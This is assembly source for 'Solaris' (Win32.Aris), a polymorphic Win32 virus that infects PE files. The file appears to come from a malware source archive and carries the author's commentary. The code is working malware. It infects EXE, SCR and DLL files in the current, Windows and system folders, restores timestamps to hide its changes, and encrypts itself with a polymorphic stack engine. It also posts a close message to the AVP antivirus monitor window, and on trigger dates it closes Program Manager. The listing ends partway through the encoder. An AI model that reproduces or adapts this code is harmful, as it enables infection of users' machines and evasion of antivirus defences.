MalwareSourceCode/Win32/Infector/Win32.Aris.asm
2020-10-16 23:26:21 +02:00

1978 lines
60 KiB
NASM

;
; Solaris (AKA Win32.Aris)
; coded by Bumblebee
; ---------------------------------------------------------------------
;
; Contents
;
; 1. Disclaimer
; 2. Introduction
; 3. Virus overview
; 4. BSEE review
;
;
; [1] DISCLAIMER
;
; This is the source code of a VIRUS. The author is not responsabile of
; any damage that may occur due to the assembly of this file. Use it at
; your own risk.
;
;
; [2] INTRODUCTION
;
; Each time i see Plage 2000 itw and i hear ppl like my worms i feel
; sad, coz those bugs didn't made me think at all. Them're kinda a toy
; i coded fast and easily. So i liked to code something complex with
; Solaris. Just to prove myself i can do other things but worms.
; My late viruses are kinda experimental and outta lab them won't be
; able to spread so far. So this is my way back to the bussiness and
; the so called *serious things*.
; The name of this virus is a a lil tribute to the magician of hard
; sci-fi, Stanislav Lem, and his great book Solaris. Just think Ursula
; Le Guin calls him master of imagination (together with J. L. Borges,
; another great monster).
; Well, i suppose retarded avers will call it as it goes out from their
; ass. Doesn't matter, let's call it Solaris :)
; As well as the planet in the book, you won't be able to understand
; Solaris easily (at least i hope so).
;
;
; [3] VIRUS OVERVIEW
;
; It's a polymorphic win32 direct action PE infector that infects EXE,
; SCR and DLL files form current, windows and system folders. Due the
; generated poly code it's very huge and its generation is complex the
; virus behavior has been setup for being a slow infector. It's better
; to have a slow infector than suddenly to have a slow computer. The
; generated poly code includes also the virus code coz the virus is
; pushed into the stack and executed there. That's main reason it's not
; a big virus, we cannot use too much stack (remember DLL are also
; infected by the virus, you should know the consequences).
; Both poly engine and the fact it must be fully relocatable to infect
; DLLs is not easy task. DLL infection makes the virus able to spread
; faster as many DLLs are infected. But again that makes the comp slow
; coz there are several virus instances working at the same time. I've
; used shared files by name to avoid that in a kinda successfuly way.
; Even the virus has other features, eg. 2nd non-poly encryption layer,
; its most interesting features come from the not usual poly engine and
; the DLL infection (very annoying).
;
; The source is full commented. I hope i've introduced Solaris.
;
;
; [4] BSEE REVIEW
;
; Here i include an host increased size review (BSEE with Solaris test
; version size 3420, final sample is about 4kbs):
;
; target: ping.exe (OS Win98 4.10.1998)
; original size: 28.672 bytes
; object/file align: 1000h/1000h
; virus padding: 101
; samples infected: 52
;
; Note: 1st gen infected 1st sample. Sample j was infected by j-1
; sample.
;
; Frequency tabulation for infected samples with RECLEVEL 6
;
; size freq. Cu. freq. increase
; ----------------------------------------------
; 61.509 02 02 32.837
; 65.549 22 24 36.877
; 69.690 22 46 41.018
; 73.730 06 52 45.058
; ----------------------------------------------
; average final size: 68.093
; average increased size: 39.417
;
; We can see how median is very close to average. So even samples have
; variable size, that size fits in a normal distribution. Kewl test for
; a random number generator :)
; At one hand we have than PE aligment makes us lose some of the sense
; of the test, but at other hand since we will manage aligned files nor
; true poly size... that fact doesn't matters for the test.
; Gen codes have very variable size but due PE aligment issues we only
; see 4 different file sizes.
;
;
; The way of the bee
;
.486p
locals
jumps
.model flat,STDCALL
extrn ExitProcess:PROC ; required for 1st gen
extrn MessageBoxA:PROC
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
; about 1st gen:
; as you'll see i use lot of tricks to make 1st gen run. that's due
; the way the virus executes is quite *anti-natural*
; to sum up: 1st gen emulates the execution in the stack
; notice there is required the write attrib in the code section
; but in next generations it won't be necessary.
vSize equ vEnd-vBegin
PADDING equ 101
MAXPATH equ 160
RECLEVEL equ 6 ; poly engine's top
; recursive level
.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'
.CODE
inicio:
vBegin label byte
jmp setupVirus ; make some init
nop ; nops for size fit with
nop ; code to restore
nop
nop
nop
; Following code will be put instead jmp setupVirus and nops
; after init process...
;
; sub esp,8
; mov esi,dword ptr [esp+vSize+28h] ; get value from stack
; to guess K32 addr
call decrypt ; decrypt layer
rtdelta:
jmp beginEncLayer
decrypt:
; simple encryption layer
mov eax,12345678h
encKey equ $-4
mov edi,dword ptr [esp]
sub edi,offset rtdelta
lea edi,beginEncLayer+edi
mov ecx,(vEnd-beginEncLayer)/4
encodeLayer:
xor dword ptr [edi],eax
sub edi,-4
loop encodeLayer
ret
beginEncLayer:
call getDelta ; get delta offset
; we have a great problem with relocatable code
; coz we cannot rely in relative jmps due we don't
; know where is running the virus (stack? tmp mem? uh?)
; and we cannot do standard trick of checking displacement
; of virus ep relative to calculated values at infection
; time due the same shit. So, what's the solution?
; we calc delta offset for host, pushing in the stack
; the addr of the jmp esp into the poly code ;)
; it's not simple at all, but works.
;
mov edx,dword ptr [esp] ; get the ret addr
sub edx,dword ptr [esp+4h] ; sub calculated addr
; reloc data will be calculated at infection time as:
; virus enc virt addr + virus encoded size + push size + call size
add dword ptr [hostEP+ebp],edx ; fix host ep addr
; as result we can infect relocatable hosts ;)
xor edx,edx
lea eax,dword ptr [esp-8h] ; setup SEH frame
xchg eax,dword ptr fs:[edx]
call pushExceptionCodeAddr
xor eax,eax ; restore all
mov eax,dword ptr fs:[eax]
mov esp,dword ptr [eax]
xor eax,eax ; and remove frame
pop dword ptr fs:[eax]
pop eax
jmp returnHost ; go back host
pushExceptionCodeAddr:
push eax
GetKernelLoop: ; look for kernel32.dll
cmp word ptr [esi],'ZM'
jne GetKernel32NotFound
mov dx,word ptr [esi+3ch]
cmp esi,dword ptr [esi+edx+34h]
je GetKernel32Found
GetKernel32NotFound:
dec esi
jmp GetKernelLoop
GetKernel32Found:
xor eax,eax ; remove SEH
pop dword ptr fs:[eax]
pop eax
; now get APIs using CRC32 (esi has k32 addr)
mov edi,esi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch
lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; API search done
; here follows a nice trick ;)
;
; this is a reentrance lock to avoid multiple
; instances of the virus running in the same process due:
; - multithreading
; - dll
; - epo
; - re-exec host (no really same process, but that's
; not allowed due as side effect of the trick)
;
; i use the random object name generated at infection time
; to create a named file mapping object. the name is 10
; char long and contains only numbers: '0'...'9'
;
; that allows multiples instances of the virus, but not in
; the same process... in this way we avoid overload the process
; (eg. each virus instance allocs memory and the viral
; activity itself and ...) and problems due virus-in-host
; exclusive behavior
;
xor eax,eax
lea esi,fileMappingObj+ebp
push esi
push 1024 ; bah, size doesn't
push eax ; matter :) hehehe
push 00000004h
push eax
dec eax
push eax
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz returnHost
call dword ptr [_GetLastError+ebp]
cmp eax,0b7h ; already executed?
je returnHost
; alloc some memory to build there the virus sample used
; to infect and to store the virus body sample that will be
; executed there...
; Alloc aproximation of virus required buffer
push 00000004h
push 00001000h OR 00002000h
push (vSize*2+vSize*3*RECLEVEL+MAXPATH*2)
; due the poly generated
push 0h ; code is recursive i don't
call dword ptr [_VirtualAlloc+ebp] ; know 100% the max size
or eax,eax ; (and i'm lazy to look for
jz returnHost ; worst case)
mov dword ptr [virusSample+ebp],eax
; fix the return host addr to be used in memory
mov edx,dword ptr [hostEP+ebp]
mov dword ptr [inMemH+ebp],edx
cld
lea esi,vBegin+ebp ; copy virus to tmp mem
mov edi,eax
mov ecx,vSize
rep movsb
add eax,inMemory-vBegin
push eax
ret ; goto mem copy
returnHost: ; return control to host
add esp,vSize+8 ; fix stack
popad
push offset fakeHost ; saved host EP
hostEP equ $-4
ret
inMemory:
add esp,vSize+8 ; fix stack
popad
push 12345678h
inMemH equ $-4
pushad
; here we are running in tmp memory
; and we've fixed the stack. From here to end of virus
; we cannot jmp returnHost. Use IMReturnHost instead.
; the return address of the host with relocation fix
; is yet in the stack so a simple ret will bring us back host
call getDelta ; get delta offset again
; get non k32 apis
; 1st load IMGAGEHLP.DLL
xor eax,eax
mov dword ptr [_CheckSumMappedFile+ebp],eax
lea eax,imagehlpdllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
mov dword ptr [imagehlpdllHnd+ebp],eax
or eax,eax
jz imagehlpdllError
; get API for updating PE checksum
lea esi,CheckSumMappedFileStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
mov dword ptr [_CheckSumMappedFile+ebp],eax
imagehlpdllError:
; 2nd load SFC.DLL
xor eax,eax
mov dword ptr [_SfcIsFileProtected+ebp],eax
lea eax,sfcdllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
mov dword ptr [sfcdllHnd+ebp],eax
or eax,eax
jz sfcdllError
; get API for avoid infect SFC protected files
lea esi,SfcIsFileProtectedStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
mov dword ptr [_SfcIsFileProtected+ebp],eax
sfcdllError:
; 3rd load USER32.DLL
lea eax,user32dllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
or eax,eax
jz user32dllError
mov dword ptr [user32dllHnd+ebp],eax
; get API needed for payload (and to fuck avp monitor)
lea esi,FindWindowAStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
or eax,eax
jz user32dllErrorFree
mov dword ptr [_FindWindowA+ebp],eax
lea esi,PostMessageAStr+ebp
push esi
push dword ptr [user32dllHnd+ebp]
call dword ptr [_GetProcAddress+ebp]
or eax,eax
jz user32dllErrorFree
mov dword ptr [_PostMessageA+ebp],eax
; check payload activation
lea eax,fileTime0+ebp
push eax
call dword ptr [_GetSystemTime+ebp]
lea esi,fileTime0+ebp
mov ax,word ptr [esi+2]
mov dx,-1
month equ $-2
cmp dx,ax ; right month?
jne skipPayload
mov ax,word ptr [esi+4]
mov dx,-1
dayOfWeek equ $-2
cmp dx,ax ; right day of week?
jne skipPayload
lea esi,payloadStr+ebp ; well, close program
jmp disableMON ; manager ;)
; it's really harmless, only annoying you won't
; be able to use Program Manager for about 4 days
; in a month... hehehe
; ok, just update payload values for next infections
skipPayload:
mov ax,word ptr [esi+4]
mov word ptr [dayOfWeek+ebp],ax ; same day
mov ax,word ptr [esi+2] ; wait 6 months
add ax,6 ; to trigger
cmp ax,12
jbe notFixMonth
sub ax,12
notFixMonth:
mov word ptr [month+ebp],ax
; if today is not the party, just try to close avp
; monitor usign its window's name
lea esi,avStr+ebp
disableMON:
push esi
xor eax,eax
push eax
call dword ptr [_FindWindowA+ebp]
or eax,eax
jz user32dllErrorFree
mov edx,eax
xor eax,eax
push eax
push eax
push 00000012h
push edx
call dword ptr [_PostMessageA+ebp]
user32dllErrorFree:
push dword ptr [user32dllHnd+ebp]
call dword ptr [_FreeLibrary+ebp]
user32dllError:
; setup seed of random number generator
call randomize
; setup path buffers
mov eax,dword ptr [virusSample+ebp]
add eax,(vSize*2+vSize*3*RECLEVEL)
mov dword ptr [path0+ebp],eax
add eax,MAXPATH
mov dword ptr [path1+ebp],eax
mov byte ptr [infCount+ebp],3 ; infect 3 files
call scanFolder
; get current directory
push dword ptr [path0+ebp]
push MAXPATH
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz IMReturnHost
push MAXPATH ; get windows directory
push dword ptr [path1+ebp]
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz IMReturnHost
; goto windows directory
push dword ptr [path1+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz IMReturnHost
mov byte ptr [infCount+ebp],2 ; infect 2 files
call scanFolder
push MAXPATH ; get system directory
push dword ptr [path1+ebp]
call dword ptr [_GetSystemDirectoryA+ebp]
or eax,eax
jz goHomeDir
; goto system directory
push dword ptr [path1+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz goHomeDir
mov byte ptr [infCount+ebp],5 ; infect 5 files
call scanFolder
goHomeDir:
; go home directory
push dword ptr [path0+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
IMReturnHost:
; free non k32 dlls
; free IMAGEHLP.DLL
mov eax,dword ptr [imagehlpdllHnd+ebp]
or eax,eax
jz imagehlpdllFreed
push eax
call dword ptr [_FreeLibrary+ebp]
imagehlpdllFreed:
; free SFL.DLL
mov eax,dword ptr [sfcdllHnd+ebp]
or eax,eax
jz sfcdllFreed
push eax
call dword ptr [_FreeLibrary+ebp]
sfcdllFreed:
popad
ret
;
; Scan current folder for EXE, SCR and DLL files suitable for infect
;
; Why not to infect CPL files?
;
; 1. Them doesn't go any plaze, and for system prevaleance we have
; SCR, EXE and DLL.
; 2. CPL are strange DLL that sometimes play with 16 bits shit. Take
; as example desk.cpl under win9x: it's infection is quite unestable.
;
; Notice DLL is its main way for spreading, indeed all features of a
; direct action infector are also available.
;
scanFolder:
pushad
lea eax,find_data+ebp
push eax
lea eax,fndMask+ebp
push eax
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
; avoid hugah files
mov eax,dword ptr [find_data.nFileSizeHigh+ebp]
or eax,eax
jnz skipThisFile
; check size padding
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
mov ecx,PADDING
xor edx,edx
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
lea esi,find_data.cFileName+ebp
; get extension
lookEndStr:
inc esi
cmp byte ptr [esi],0
jne lookEndStr
; skip shit
cmp byte ptr [esi-1],'"'
jne notShitInFilename
dec esi
notShitInFilename:
mov eax,dword ptr [esi-4]
mov dword ptr [tmpExt+ebp],eax
; make ext upper case
lea esi,tmpExt+ebp
mov ecx,4
upCaseLoop:
cmp byte ptr [esi],'a'
jb notChangeLetter
cmp byte ptr [esi],'z'
ja notChangeLetter
sub byte ptr [esi],'a'-'A'
notChangeLetter:
inc esi
loop upCaseLoop
mov eax,dword ptr [tmpExt+ebp]
not eax
; check has a valid extension
cmp eax,NOT 'LLD.'
je validExt
cmp eax,NOT 'EXE.'
je validExt
cmp eax,NOT 'RCS.'
jne skipThisFile
validExt:
; try to infect it
lea esi,find_data.cFileName+ebp
call infect
; reached max infections?
cmp byte ptr [infCount+ebp],0
je endScan
skipThisFile:
lea eax,find_data+ebp
push eax
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp]
or eax,eax
jnz findNext
endScan:
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp]
notFound:
popad
ret
;
; in: esi filename to infect (not save regs)
;
infect:
pushad
; check if SFC is available
mov eax,dword ptr [_SfcIsFileProtected+ebp]
or eax,eax
jz nonSfcProtectedFile
push esi ; save filename
xor eax,eax
push esi
push eax
call dword ptr [_SfcIsFileProtected+ebp]
pop esi ; restore filename
or eax,eax
jz nonSfcProtectedFile
jmp infectionError
nonSfcProtectedFile:
push esi ; save filename
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi ; restore filename
inc eax
jz infectionError
dec eax
mov dword ptr [fileAttrib+ebp],eax ; save attributes
push esi ; save filename
push 00000080h ; clear file attributes
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi ; restore filename
or eax,eax
jz infectionError
push esi ; save filename
xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp] ; open file
inc eax
jz infectionErrorAttrib
dec eax
mov dword ptr [fHnd+ebp],eax ; save handle
push 0h
push eax
call dword ptr [_GetFileSize+ebp] ; get filesize
inc eax
jz infectionErrorClose
dec eax
mov dword ptr [fileSize+ebp],eax
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp] ; get file date/time
or eax,eax
jz infectionErrorClose
xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp] ; create a file map obj
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax ; save handle
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp] ; map a view for the obj
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax ; save addr
mov edi,eax
cmp word ptr [edi],'ZM' ; check exe
jne infectionErrorCloseUnmap
cmp dword ptr [edi+18h],3ah ; check PE sign
jb infectionErrorCloseUnmap
add edi,dword ptr [edi+3ch]
cmp word ptr [edi],'EP'
jne infectionErrorCloseUnmap
movzx edx,word ptr [edi+16h] ; check executable
test edx,2h
jz infectionErrorCloseUnmap
; if we failed to get the API to update pe checksum just
; avoid infect dll files
mov eax,dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jnz dllAreOk
test edx,2000h ; check not DLL
jnz infectionErrorCloseUnmap
dllAreOk:
movzx edx,word ptr [edi+5ch]
dec edx ; check not native
jz infectionErrorCloseUnmap
cmp word ptr [edi+1ch],0 ; has code? that's important
je infectionErrorCloseUnmap ; remember dll with only
; resources
mov esi,edi ; save begin PE hdr
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax ; goto 1st section
mov cx,word ptr [esi+06h] ; now to last sect
dec cx
mov eax,28h
mul cx
add edi,eax
mov ecx,dword ptr [edi+14h] ; phys offset
add ecx,dword ptr [edi+10h] ; phys size
cmp ecx,dword ptr [fileSize+ebp] ; avoid not nice files
jne infectionErrorCloseUnmap ; also avoid reinfect files
; following code has no sense with READ attrib only required
; in last section. we rely in size padding.
;
; check sect properties to see if probably infected yet
; mov eax,dword ptr [edi+24h]
; and eax,00000020h OR 20000000h OR 40000000h
; cmp eax,00000020h OR 20000000h OR 40000000h
; je infectionErrorCloseUnmap
mov eax,dword ptr [edi+0ch] ; sect RVA
add eax,dword ptr [edi+10h] ; phys size
xchg eax,dword ptr [esi+28h] ; put ep and get old
add eax,dword ptr [esi+34h] ; add image base
mov dword ptr [hostEP+ebp],eax ; save it
xor eax,eax
mov dword ptr [esi+58h],eax ; zero PE checksum
; will be updated later
; if all goes fine
; usually: CODE, EXECUTE and READ
; or dword ptr [edi+24h],00000020h OR 20000000h OR 40000000h
; only READ flag needed (CODE and EXEC are not required)
or dword ptr [edi+24h],40000000h
; not discardable and not shareable
and dword ptr [edi+24h],NOT (02000000h OR 10000000h)
; create a virus sample for this host
mov eax,dword ptr [esi+28h]
add eax,dword ptr [esi+34h]
push eax ; virus ep
call infectionSample
mov dword ptr [genSize+ebp],eax ; save encoded size
push dword ptr [fileSize+ebp] ; save old file size
; eax has encoded size
mov edx,dword ptr [edi+10h]
sub dword ptr [fileSize+ebp],edx ; sub old phys size
add eax,dword ptr [edi+10h] ; calc new sect phys size
mov ecx,dword ptr [esi+3ch]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [edi+10h],eax
add dword ptr [fileSize+ebp],eax ; add new phys size
add eax,dword ptr [edi+0ch] ; calc new image size
mov ecx,dword ptr [esi+38h]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [esi+50h],eax
sub eax,dword ptr [edi+0ch] ; sub sect RVA
mov dword ptr [edi+08h],eax ; save sect new virt size
; now calc padding
mov eax,dword ptr [fileSize+ebp]
mov ecx,PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [padding+ebp],eax ; save new file size with
; padding added
pop dword ptr [ofileSize+ebp] ; get old file size
; now make file grow
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
xor eax,eax
push eax
push dword ptr [padding+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push dword ptr [padding+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
; end the infection process just adding virus body
mov ecx,dword ptr [genSize+ebp]
mov esi,dword ptr [virusSample+ebp]
add esi,vSize*2
mov edi,eax
add edi,dword ptr [ofileSize+ebp]
rep movsb
mov ecx,dword ptr [padding+ebp] ; fill padding with
sub ecx,dword ptr [ofileSize+ebp] ; zeroes
sub ecx,dword ptr [genSize+ebp]
xor eax,eax
rep stosb
mov eax,dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jz skipCheckSumUpdate
lea eax,nchksum+ebp
push eax
lea eax,ochksum+ebp
push eax
push dword ptr [padding+ebp]
push dword ptr [mapMem+ebp]
call dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jz skipCheckSumUpdate
mov edx,dword ptr [nchksum+ebp] ; update checksum
mov dword ptr [eax+58h],edx
skipCheckSumUpdate:
dec byte ptr [infCount+ebp] ; another infection
infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp] ; unmap view
call dword ptr [_UnmapViewOfFile+ebp]
infectionErrorCloseMap:
push dword ptr [fhmap+ebp] ; close map file obj
call dword ptr [_CloseHandle+ebp]
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp] ; restore date/time
call dword ptr [_SetFileTime+ebp]
infectionErrorClose:
push dword ptr [fHnd+ebp] ; close file
call dword ptr [_CloseHandle+ebp]
infectionErrorAttrib:
pop esi ; restore filename
push dword ptr [fileAttrib+ebp]
push esi ; restore attributes
call dword ptr [_SetFileAttributesA+ebp]
infectionError:
popad
ret
;
; DWORD infectionSample(DWORD push_val) (save regs)
;
; push_val: enc virus virt addr (virus ep)
; it's required to setup the push used for relocation stuff
; returns gen size
;
infectionSample:
push eax
pushad
; get a new crypt key
anotherKey:
push 0ffffffffh
call rndInRange
or eax,eax
jz anotherKey
mov dword ptr [encKey+ebp],eax
; gen a random filemapping Object name
lea esi,fileMappingObj+ebp
mov ecx,10
mov edi,ecx
getFileMappingObjName:
mov eax,10
push eax
call rndInRange
add al,'0'
cmp edi,eax ; ok, i rely in the rnd
je getFileMappingObjName ; generator, but... hehe
mov edi,eax
mov byte ptr [esi],al
inc esi
loop getFileMappingObjName
; copy virus
lea esi,vBegin+ebp
mov edi,esi
add edi,vSize
push edi
mov ecx,vSize
rep movsb
; encrypt it
pop edi
mov eax,dword ptr [encKey+ebp]
add edi,beginEncLayer-vBegin
mov ecx,(vEnd-beginEncLayer)/4
call encodeLayer
; now encode the virus
mov eax,dword ptr [virusSample+ebp]
add eax,vSize*2
push eax ; save begin of env vir
push eax
call encodeVirus
mov dword ptr [genSize+ebp],eax ; save enc vir size
pop edi ; restore begin enc vir
add edi,eax ; begin of jmp code
; setup push for reloc stuff
; encoded vir size
add eax,dword ptr [esp+28h] ; push_val
push eax ; save it
call GetReg ; get rnd reg
; get push reloc (bad)
pop edx ; mov reg32,imm32
push edi ; need to calc size
mov cl,al
push ecx
call AddMovREGIMM
pop ecx ; push reg32
push eax
call AddPushREG
pop eax ; free the reg
call FreeReg
pop edx
mov ebx,edi
sub ebx,edx
add ebx,5
add dword ptr [edx+1],ebx ; fix push reloc (good)
push ebx ; save size
mov al,0e8h ; call
stosb
xor eax,eax
stosd
push edi ; we need calc size again
;
; now we need to sub 8 to esp, do it poly
;
mov eax,12 ; get random reg
push eax
call rndInRange
cmp eax,_ESP ; skip esp reg
jne notFixRndReg0
inc eax
notFixRndReg0:
cmp eax,8 ; case reg 8,9,10,11
jb addPops0 ; it's spezial:
mov al,83h ; sub esp,8
stosb
mov ax,08c4h
stosw
jmp doneStack
addPops0:
mov cl,al
call AddPopREG ; add 1 pop reg32
mov eax,14 ; get random reg
push eax
call rndInRange
cmp eax,_ESP ; skip esp reg
jne notFixRndReg1
inc eax
notFixRndReg1:
cmp eax,8 ; 8,9,10,11,12,13 reg:
jb addPops1 ; sub esp,4
mov al,83h
stosb
mov ax,04c4h
stosw
jmp doneStack
addPops1:
mov cl,al
call AddPopREG ; add 1 pop reg32
doneStack:
mov ax,0e4ffh ; jmp esp
stosw
pop edx ; get old ptr pos
mov ebx,edi
sub ebx,edx ; cal new size
pop edx ; get old size
add edx,ebx ; total added size
add edx,dword ptr [genSize+ebp] ; plus encoded size
mov dword ptr [esp+20h],edx
popad
pop eax
retn 4
;
; DWORD randomize(VOID) (not save regs)
;
randomize:
call dword ptr [_GetTickCount+ebp]
imul eax,0C6EF3720h
add dword ptr [rseed+ebp],eax
ret
;
; DWORD rndInRange(DWORD range) (save regs)
;
rndInRange:
push eax
pushad
mov eax,87654321h
rseed equ $-4
imul eax,9E3779B9h
shr eax, 16
add dword ptr [rseed+ebp],eax
lea esi,rseed+ebp
mov edi,4
call CRC32
xor edx,edx
mov ecx,dword ptr [esp+28h]
div ecx
mov dword ptr [esp+20h],edx
popad
pop eax
retn 4
;
; VOID getDelta(VOID) (modifies ebp=delta offset)
;
getDelta:
call deltaOffset
; the virus identifier :)
virusId db '[ Solaris by Bumblebee ]'
deltaOffset:
pop ebp
sub ebp,offset virusId
ret
;
; in: esi addr src
; edi size of src
; out: eax crc32 of src
;
; (not save regs)
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; [BSEE] or
; Bumblebee's Stack Encoding Engine or
; Bumblebee's Solaris Encoding Engine ;)
;
; quite simple it encodes the virus into a poly code that pushes
; the whole virus in the stack. the relocation stuff is not
; added here, so you can use the engine just adding a jmp esp
; after the encoded virus (but notice the pushad!).
;
; it makes different operations with data being stored in the
; stack before being pushed.
;
; it doesn't adds garbage. the encoded virus is long and poly
; enought to not need garbage (IMHO). as i'm not a good poly
; coder, that's a kewl engine if we think what i used to code hehe
;
; returns the encoded size. the esp value is decreased by vSize
; and virus size must be dword aligned. 1st byte it's a pushad.
;
; DWORD encodeVirus(DWORD dest_addr) (returns size and saves regs)
;
encodeVirus:
push eax
pushad
; init register control
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,8
rep stosb
mov byte ptr [RegStatus+ebp+_ESP],1
mov edi,dword ptr [esp+28h] ; get dest addr
mov eax,vSize
mov ecx,4
xor edx,edx
div ecx
mov ecx,eax ; dword's to encode
xor ebx,ebx ; to store size
mov esi,dword ptr [virusSample+ebp]
add esi,vSize*2
sub esi,4
mov al,60h ; 1st pushad
stosb
inc ebx
encodeVirus0:
; random encoding
mov eax,5 ; scheme for each dword
push eax
call rndInRange
cmp eax,1 ; 40%
je encRndAddSubReg
cmp eax,2
je encRndAddSubReg
cmp eax,3 ; 20%
je encRndPushReg
cmp eax,4 ; 20%
je encRndCmpRegImm
jmp encPushImm32 ; default 20%
;
; Polymorphic engine data
;
RegStatus db 8 dup(0) ; 1: used 0: free
WorkReg db 0 ; 0..7
RecursiveCoef dd 0 ; rec level in rec calls :P
;
; push imm32
;
encPushImm32:
mov al,68h ; push xxxxxxxxh
stosb ; store
std
lodsd ; get dword
cld
stosd ; store dword
add ebx,5 ; push + inm32 = 5 bytes
doLoop:
loop encodeVirus0
mov dword ptr [esp+20h],ebx ; set return value
popad
pop eax
retn 4
encRndAddSubReg:
push ecx ebx ; save loop and size
call addAddSubRegImm
pop ebx ecx ; restore regs
add ebx,eax ; add encoded size
jmp doLoop
;
; cmp reg,imm32
; <jmp: jb jnb je jne jbe ja js> op0
; jmp op1
;op0:
; [poly code to encode n dwords]
; jmp op2
;op1:
; [poly code to encode n dwords]
;op2:
;
; both options encode the same code but in different way
; it supports recursive calls, so [poly code to encode n dwords]
; can be generated also by this routine...
;
encRndCmpRegImm:
mov eax,RECLEVEL ; setup recursive coeff
push eax
call rndInRange
inc eax
mov byte ptr [RecursiveCoef+ebp],al
push ecx ebx ; save loop and size
call addRndCmpRegImm
pop ebx ecx ; restore regs
jc encRndAddSubReg
add ebx,eax ; add encoded size
sub ecx,edx ; dec loops
; that's needed coz we
; get edx dwords in one
; main loop
jmp doLoop
addRndCmpRegImm:
dec byte ptr [RecursiveCoef+ebp]
xor eax,eax
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
